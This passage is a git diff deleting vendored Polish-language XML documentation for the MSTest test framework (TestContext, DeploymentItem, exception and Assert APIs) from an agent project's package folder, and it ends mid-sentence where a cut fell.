b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/pl/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index d507bf25..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/pl/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,93 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Służy do określenia elementu wdrożenia (pliku lub katalogu) dla wdrożenia testowego. - Może być określony w klasie testowej lub metodzie testowej. - Może mieć wiele wystąpień atrybutu w celu określenia więcej niż jednego elementu. - Ścieżka elementu może być bezwzględna lub względna. Jeśli jest względna, jest określana względem elementu RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - DeploymentItemAttribute is currently not supported in .Net Core. This is just a placehodler for support in the future. - - - - - Inicjuje nowe wystąpienie klasy . - - Plik lub katalog do wdrożenia. Ścieżka jest określana względem katalogu wyjściowego kompilacji. Element zostanie skopiowany do tego samego katalogu co wdrożone zestawy testowe. - - - - Inicjuje nowe wystąpienie klasy - - Względna lub bezwzględna ścieżka do pliku lub katalogu do wdrożenia. Ścieżka jest określana względem katalogu wyjściowego kompilacji. Element zostanie skopiowany do tego samego katalogu co wdrożone zestawy testowe. - Ścieżka katalogu, do którego mają być kopiowane elementy. Może być bezwzględna lub określana względem katalogu wdrażania. Wszystkie pliki i katalogi określone przez zostaną skopiowane do tego katalogu. - - - - Pobiera ścieżkę źródłowego pliku lub folderu do skopiowania. - - - - - Pobiera ścieżkę katalogu, do którego element jest kopiowany. - - - - - Klasa TestContext. Ta klasa powinna być w pełni abstrakcyjna i nie może zawierać żadnych - elementów członkowskich. Adapter zaimplementuje elementy członkowskie. Użytkownicy platformy powinni - uzyskiwać dostęp do tego elementu tylko za pośrednictwem prawidłowo zdefiniowanego interfejsu. - - - - - Pobiera właściwości testu. - - - - - Pobiera w pełni kwalifikowaną nazwę klasy zawierającej aktualnie wykonywaną metodę testową - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - Pobiera nazwę aktualnie wykonywanej metody testowej - - - - - Pobiera wynik bieżącego testu. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/pl/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/pl/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 55933843..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/pl/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - Metoda TestMethod do wykonania. - - - - - Pobiera nazwę metody testowej. - - - - - Pobiera nazwę klasy testowej. - - - - - Pobiera zwracany typ metody testowej. - - - - - Pobiera parametry metody testowej. - - - - - Pobiera element methodInfo dla metody testowej. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Wywołuje metodę testową. - - - Argumenty przekazywane do metody testowej (np. w przypadku opartej na danych) - - - Wynik wywołania metody testowej. - - - This call handles asynchronous test methods as well. - - - - - Pobierz wszystkie atrybuty metody testowej. - - - Informacja o tym, czy atrybut zdefiniowany w klasie nadrzędnej jest prawidłowy. - - - Wszystkie atrybuty. - - - - - Pobierz atrybut określonego typu. - - System.Attribute type. - - Informacja o tym, czy atrybut zdefiniowany w klasie nadrzędnej jest prawidłowy. - - - Atrybuty określonego typu. - - - - - Element pomocniczy. - - - - - Sprawdzany parametr nie ma wartości null. - - - Parametr. - - - Nazwa parametru. - - - Komunikat. - - Throws argument null exception when parameter is null. - - - - Sprawdzany parametr nie ma wartości null i nie jest pusty. - - - Parametr. - - - Nazwa parametru. - - - Komunikat. - - Throws ArgumentException when parameter is null. - - - - Wyliczenie dotyczące sposobu dostępu do wierszy danych w teście opartym na danych. - - - - - Wiersze są zwracane po kolei. - - - - - Wiersze są zwracane w kolejności losowej. - - - - - Atrybut do definiowania danych wbudowanych dla metody testowej. - - - - - Inicjuje nowe wystąpienie klasy . - - Obiekt danych. - - - - Inicjuje nowe wystąpienie klasy , które pobiera tablicę argumentów. - - Obiekt danych. - Więcej danych. - - - - Pobiera dane do wywoływania metody testowej. - - - - - Pobiera lub ustawia nazwę wyświetlaną w wynikach testu do dostosowania. - - - - - Wyjątek niejednoznacznej asercji. - - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat. - Wyjątek. - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat. - - - - Inicjuje nowe wystąpienie klasy . - - - - - Klasa InternalTestFailureException. Używana do określenia wewnętrznego błędu przypadku testowego - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat wyjątku. - Wyjątek. - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat wyjątku. - - - - Inicjuje nowe wystąpienie klasy . - - - - - Atrybut określający, że jest oczekiwany wyjątek określonego typu - - - - - Inicjuje nowe wystąpienie klasy z oczekiwanym typem - - Typ oczekiwanego wyjątku - - - - Inicjuje nowe wystąpienie klasy z - oczekiwanym typem i komunikatem do uwzględnienia, gdy test nie zgłasza żadnego wyjątku. - - Typ oczekiwanego wyjątku - - Komunikat do dołączenia do wyniku testu, jeśli test nie powiedzie się, ponieważ nie zostanie zgłoszony wyjątek - - - - - Pobiera wartość wskazującą typ oczekiwanego wyjątku - - - - - Pobiera lub ustawia wartość wskazującą, czy typy pochodne typu oczekiwanego wyjątku - są traktowane jako oczekiwane - - - - - Pobiera komunikat do uwzględnienia w wyniku testu, jeśli test nie powiedzie się z powodu niezgłoszenia wyjątku - - - - - Weryfikuje, czy typ wyjątku zgłoszonego przez test jednostkowy jest oczekiwany - - Wyjątek zgłoszony przez test jednostkowy - - - - Klasa podstawowa dla atrybutów, które określają, że jest oczekiwany wyjątek z testu jednostkowego - - - - - Inicjuje nowe wystąpienie klasy z domyślnym komunikatem o braku wyjątku - - - - - Inicjuje nowe wystąpienie klasy z komunikatem o braku wyjątku - - - Komunikat do dołączenia do wyniku testu, jeśli test nie powiedzie się, ponieważ - nie zostanie zgłoszony wyjątek - - - - - Pobiera komunikat do uwzględnienia w wyniku testu, jeśli test nie powiedzie się z powodu niezgłoszenia wyjątku - - - - - Pobiera komunikat do uwzględnienia w wyniku testu, jeśli test nie powiedzie się z powodu niezgłoszenia wyjątku - - - - - Pobiera domyślny komunikat bez wyjątku - - Nazwa typu atrybutu ExpectedException - Domyślny komunikat bez wyjątku - - - - Określa, czy wyjątek jest oczekiwany. Jeśli wykonanie metody zakończy się normalnie, oznacza to, - że wyjątek był oczekiwany. Jeśli metoda zgłosi wyjątek, oznacza to, - że wyjątek nie był oczekiwany, a komunikat zgłoszonego wyjątku - jest dołączony do wyniku testu. Klasy można użyć dla - wygody. Jeśli zostanie użyta klasa i asercja nie powiedzie się, - wynik testu zostanie ustawiony jako Niejednoznaczny. - - Wyjątek zgłoszony przez test jednostkowy - - - - Zgłoś ponownie wyjątek, jeśli jest to wyjątek AssertFailedException lub AssertInconclusiveException - - Wyjątek do ponownego zgłoszenia, jeśli jest to wyjątek asercji - - - - Ta klasa jest zaprojektowana w taki sposób, aby pomóc użytkownikowi wykonującemu testy jednostkowe dla typów używających typów ogólnych. - Element GenericParameterHelper zachowuje niektóre typowe ograniczenia typów ogólnych, - takie jak: - 1. publiczny konstruktor domyślny - 2. implementuje wspólny interfejs: IComparable, IEnumerable - - - - - Inicjuje nowe wystąpienie klasy , które - spełnia ograniczenie „newable” w typach ogólnych języka C#. - - - This constructor initializes the Data property to a random value. - - - - - Inicjuje nowe wystąpienie klasy , które - inicjuje właściwość Data wartością dostarczoną przez użytkownika. - - Dowolna liczba całkowita - - - - Pobiera lub ustawia element Data - - - - - Wykonuje porównanie wartości dwóch obiektów GenericParameterHelper - - obiekt, z którym ma zostać wykonane porównanie - Wartość true, jeśli obiekt ma tę samą wartość co obiekt „this” typu GenericParameterHelper. - W przeciwnym razie wartość false. - - - - Zwraca wartość skrótu tego obiektu. - - Kod skrótu. - - - - Porównuje dane dwóch obiektów . - - Obiekt do porównania. - - Liczba ze znakiem, która wskazuje wartości względne tego wystąpienia i wartości. - - - Thrown when the object passed in is not an instance of . - - - - - Zwraca obiekt IEnumerator, którego długość jest określona na podstawie - właściwości Data. - - Obiekt IEnumerator - - - - Zwraca obiekt GenericParameterHelper równy - bieżącemu obiektowi. - - Sklonowany obiekt. - - - - Umożliwia użytkownikom rejestrowanie/zapisywanie śladów z testów jednostek w celach diagnostycznych. - - - - - Procedura obsługi elementu LogMessage. - - Komunikat do zarejestrowania. - - - - Zdarzenie, które ma być nasłuchiwane. Zgłaszane, gdy składnik zapisywania testu jednostkowego zapisze jakiś komunikat. - Zwykle zużywane przez adapter. - - - - - Interfejs API składnika zapisywania testu do wywołania na potrzeby rejestrowania komunikatów. - - Format ciągu z symbolami zastępczymi. - Parametry dla symboli zastępczych. - - - - Atrybut TestCategory używany do określenia kategorii testu jednostkowego. - - - - - Inicjuje nowe wystąpienie klasy i stosuje kategorię do testu. - - - Kategoria testu. - - - - - Pobiera kategorie testu, które zostały zastosowane do testu. - - - - - Klasa podstawowa atrybutu „Category” - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Inicjuje nowe wystąpienie klasy . - Stosuje kategorię do testu. Ciągi zwrócone przez element TestCategories - są używane w poleceniu /category do filtrowania testów - - - - - Pobiera kategorię testu, która została zastosowana do testu. - - - - - Klasa AssertFailedException. Używana do wskazania niepowodzenia przypadku testowego - - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat. - Wyjątek. - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat. - - - - Inicjuje nowe wystąpienie klasy . - - - - - Kolekcja klas pomocniczych na potrzeby testowania różnych warunków w ramach - testów jednostkowych. Jeśli testowany warunek nie zostanie spełniony, zostanie zgłoszony - wyjątek. - - - - - Pobiera pojedyncze wystąpienie funkcji Assert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testuje, czy określony warunek ma wartość true, i zgłasza wyjątek, - jeśli warunek ma wartość false. - - - Warunek, którego wartość oczekiwana przez test to true. - - - Thrown if is false. - - - - - Testuje, czy określony warunek ma wartość true, i zgłasza wyjątek, - jeśli warunek ma wartość false. - - - Warunek, którego wartość oczekiwana przez test to true. - - - Komunikat do dołączenia do wyjątku, gdy element - ma wartość false. Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is false. - - - - - Testuje, czy określony warunek ma wartość true, i zgłasza wyjątek, - jeśli warunek ma wartość false. - - - Warunek, którego wartość oczekiwana przez test to true. - - - Komunikat do dołączenia do wyjątku, gdy element - ma wartość false. Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is false. - - - - - Testuje, czy określony warunek ma wartość false, i zgłasza wyjątek, - jeśli warunek ma wartość true. - - - Warunek, którego wartość oczekiwana przez test to false. - - - Thrown if is true. - - - - - Testuje, czy określony warunek ma wartość false, i zgłasza wyjątek, - jeśli warunek ma wartość true. - - - Warunek, którego wartość oczekiwana przez test to false. - - - Komunikat do dołączenia do wyjątku, gdy element - ma wartość true. Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is true. - - - - - Testuje, czy określony warunek ma wartość false, i zgłasza wyjątek, - jeśli warunek ma wartość true. - - - Warunek, którego wartość oczekiwana przez test to false. - - - Komunikat do dołączenia do wyjątku, gdy element - ma wartość true. Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is true. - - - - - Testuje, czy określony obiekt ma wartość null, i zgłasza wyjątek, - jeśli ma inną wartość. - - - Obiekt, którego wartość oczekiwana przez test to null. - - - Thrown if is not null. - - - - - Testuje, czy określony obiekt ma wartość null, i zgłasza wyjątek, - jeśli ma inną wartość. - - - Obiekt, którego wartość oczekiwana przez test to null. - - - Komunikat do dołączenia do wyjątku, gdy element - nie ma wartości null. Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is not null. - - - - - Testuje, czy określony obiekt ma wartość null, i zgłasza wyjątek, - jeśli ma inną wartość. - - - Obiekt, którego wartość oczekiwana przez test to null. - - - Komunikat do dołączenia do wyjątku, gdy element - nie ma wartości null. Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not null. - - - - - Testuje, czy określony obiekt ma wartość inną niż null, i zgłasza wyjątek, - jeśli ma wartość null. - - - Obiekt, którego wartość oczekiwana przez test jest inna niż null. - - - Thrown if is null. - - - - - Testuje, czy określony obiekt ma wartość inną niż null, i zgłasza wyjątek, - jeśli ma wartość null. - - - Obiekt, którego wartość oczekiwana przez test jest inna niż null. - - - Komunikat do dołączenia do wyjątku, gdy element - ma wartość null. Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is null. - - - - - Testuje, czy określony obiekt ma wartość inną niż null, i zgłasza wyjątek, - jeśli ma wartość null. - - - Obiekt, którego wartość oczekiwana przez test jest inna niż null. - - - Komunikat do dołączenia do wyjątku, gdy element - ma wartość null. Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is null. - - - - - Testuje, czy oba określone obiekty przywołują ten sam obiekt, - i zgłasza wyjątek, jeśli dwa obiekty wejściowe nie przywołują tego samego obiektu. - - - Pierwszy obiekt do porównania. To jest wartość, której oczekuje test. - - - Drugi obiekt do porównania. To jest wartość utworzona przez testowany kod. - - - Thrown if does not refer to the same object - as . - - - - - Testuje, czy oba określone obiekty przywołują ten sam obiekt, - i zgłasza wyjątek, jeśli dwa obiekty wejściowe nie przywołują tego samego obiektu. - - - Pierwszy obiekt do porównania. To jest wartość, której oczekuje test. - - - Drugi obiekt do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest tym samym elementem co . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if does not refer to the same object - as . - - - - - Testuje, czy oba określone obiekty przywołują ten sam obiekt, - i zgłasza wyjątek, jeśli dwa obiekty wejściowe nie przywołują tego samego obiektu. - - - Pierwszy obiekt do porównania. To jest wartość, której oczekuje test. - - - Drugi obiekt do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest tym samym elementem co . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if does not refer to the same object - as . - - - - - Testuje, czy określone obiekty przywołują inne obiekty, - i zgłasza wyjątek, jeśli dwa obiekty wejściowe przywołują ten sam obiekt. - - - Pierwszy obiekt do porównania. To jest wartość, która zgodnie z testem powinna - nie pasować do elementu . - - - Drugi obiekt do porównania. To jest wartość utworzona przez testowany kod. - - - Thrown if refers to the same object - as . - - - - - Testuje, czy określone obiekty przywołują inne obiekty, - i zgłasza wyjątek, jeśli dwa obiekty wejściowe przywołują ten sam obiekt. - - - Pierwszy obiekt do porównania. To jest wartość, która zgodnie z testem powinna - nie pasować do elementu . - - - Drugi obiekt do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest taki sam jak element . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if refers to the same object - as . - - - - - Testuje, czy określone obiekty przywołują inne obiekty, - i zgłasza wyjątek, jeśli dwa obiekty wejściowe przywołują ten sam obiekt. - - - Pierwszy obiekt do porównania. To jest wartość, która zgodnie z testem powinna - nie pasować do elementu . - - - Drugi obiekt do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest taki sam jak element . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if refers to the same object - as . - - - - - Testuje, czy określone wartości są równe, i zgłasza wyjątek, - jeśli dwie wartości są różne. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - The type of values to compare. - - - Pierwsza wartość do porównania. To jest wartość, której oczekuje test. - - - Druga wartość do porównania. To jest wartość utworzona przez testowany kod. - - - Thrown if is not equal to . - - - - - Testuje, czy określone wartości są równe, i zgłasza wyjątek, - jeśli dwie wartości są różne. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - The type of values to compare. - - - Pierwsza wartość do porównania. To jest wartość, której oczekuje test. - - - Druga wartość do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone wartości są równe, i zgłasza wyjątek, - jeśli dwie wartości są różne. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - The type of values to compare. - - - Pierwsza wartość do porównania. To jest wartość, której oczekuje test. - - - Druga wartość do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to - . - - - - - Testuje, czy określone wartości są różne, i zgłasza wyjątek, - jeśli dwie wartości są równe. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - The type of values to compare. - - - Pierwsza wartość do porównania. To jest wartość, która według testu - nie powinna pasować . - - - Druga wartość do porównania. To jest wartość utworzona przez testowany kod. - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości są różne, i zgłasza wyjątek, - jeśli dwie wartości są równe. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - The type of values to compare. - - - Pierwsza wartość do porównania. To jest wartość, która według testu - nie powinna pasować . - - - Druga wartość do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości są różne, i zgłasza wyjątek, - jeśli dwie wartości są równe. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - The type of values to compare. - - - Pierwsza wartość do porównania. To jest wartość, która według testu - nie powinna pasować . - - - Druga wartość do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Testuje, czy określone obiekty są równe, i zgłasza wyjątek, - jeśli dwa obiekty są różne. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - Pierwszy obiekt do porównania. To jest obiekt, którego oczekuje test. - - - Drugi obiekt do porównania. To jest obiekt utworzony przez testowany kod. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone obiekty są równe, i zgłasza wyjątek, - jeśli dwa obiekty są różne. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - Pierwszy obiekt do porównania. To jest obiekt, którego oczekuje test. - - - Drugi obiekt do porównania. To jest obiekt utworzony przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone obiekty są równe, i zgłasza wyjątek, - jeśli dwa obiekty są różne. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - Pierwszy obiekt do porównania. To jest obiekt, którego oczekuje test. - - - Drugi obiekt do porównania. To jest obiekt utworzony przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to - . - - - - - Testuje, czy określone obiekty są różne, i zgłasza wyjątek, - jeśli dwa obiekty są równe. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - Pierwszy obiekt do porównania. To jest wartość, która zgodnie z testem powinna - nie pasować do elementu . - - - Drugi obiekt do porównania. To jest obiekt utworzony przez testowany kod. - - - Thrown if is equal to . - - - - - Testuje, czy określone obiekty są różne, i zgłasza wyjątek, - jeśli dwa obiekty są równe. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - Pierwszy obiekt do porównania. To jest wartość, która zgodnie z testem powinna - nie pasować do elementu . - - - Drugi obiekt do porównania. To jest obiekt utworzony przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone obiekty są różne, i zgłasza wyjątek, - jeśli dwa obiekty są równe. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - Pierwszy obiekt do porównania. To jest wartość, która zgodnie z testem powinna - nie pasować do elementu . - - - Drugi obiekt do porównania. To jest obiekt utworzony przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości zmiennoprzecinkowe są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwsza wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa, której oczekuje test. - - - Druga wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o więcej niż . - - - Thrown if is not equal to - . - - - - - Testuje, czy określone wartości zmiennoprzecinkowe są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwsza wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa, której oczekuje test. - - - Druga wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o więcej niż . - - - Komunikat do dołączenia do wyjątku, gdy element - jest różny od elementu o więcej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone wartości zmiennoprzecinkowe są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwsza wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa, której oczekuje test. - - - Druga wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o więcej niż . - - - Komunikat do dołączenia do wyjątku, gdy element - jest różny od elementu o więcej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to - . - - - - - Testuje, czy określone wartości zmiennoprzecinkowe są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwsza wartość zmiennoprzecinkowa do porównania. Test oczekuje, że ta wartość zmiennoprzecinkowa nie będzie - zgodna z elementem . - - - Druga wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o co najwyżej . - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości zmiennoprzecinkowe są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwsza wartość zmiennoprzecinkowa do porównania. Test oczekuje, że ta wartość zmiennoprzecinkowa nie będzie - zgodna z elementem . - - - Druga wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o co najwyżej . - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi lub różny o mniej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości zmiennoprzecinkowe są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwsza wartość zmiennoprzecinkowa do porównania. Test oczekuje, że ta wartość zmiennoprzecinkowa nie będzie - zgodna z elementem . - - - Druga wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o co najwyżej . - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi lub różny o mniej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości podwójnej precyzji są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwsza wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji, której oczekuje test. - - - Druga wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o więcej niż . - - - Thrown if is not equal to - . - - - - - Testuje, czy określone wartości podwójnej precyzji są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwsza wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji, której oczekuje test. - - - Druga wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o więcej niż . - - - Komunikat do dołączenia do wyjątku, gdy element - jest różny od elementu o więcej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is not equal to . - - - - - Testuje, czy określone wartości podwójnej precyzji są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwsza wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji, której oczekuje test. - - - Druga wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o więcej niż . - - - Komunikat do dołączenia do wyjątku, gdy element - jest różny od elementu o więcej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to . - - - - - Testuje, czy określone wartości podwójnej precyzji są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwsza wartość podwójnej precyzji do porównania. Test oczekuje, że ta wartość podwójnej precyzji - nie będzie pasować do elementu . - - - Druga wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o co najwyżej . - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości podwójnej precyzji są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwsza wartość podwójnej precyzji do porównania. Test oczekuje, że ta wartość podwójnej precyzji - nie będzie pasować do elementu . - - - Druga wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o co najwyżej . - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi lub różny o mniej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości podwójnej precyzji są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwsza wartość podwójnej precyzji do porównania. Test oczekuje, że ta wartość podwójnej precyzji - nie będzie pasować do elementu . - - - Druga wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o co najwyżej . - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi lub różny o mniej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Testuje, czy określone ciągi są równe, i zgłasza wyjątek, - jeśli są różne. Na potrzeby tego porównania jest używana niezmienna kultura. - - - Pierwszy ciąg do porównania. To jest 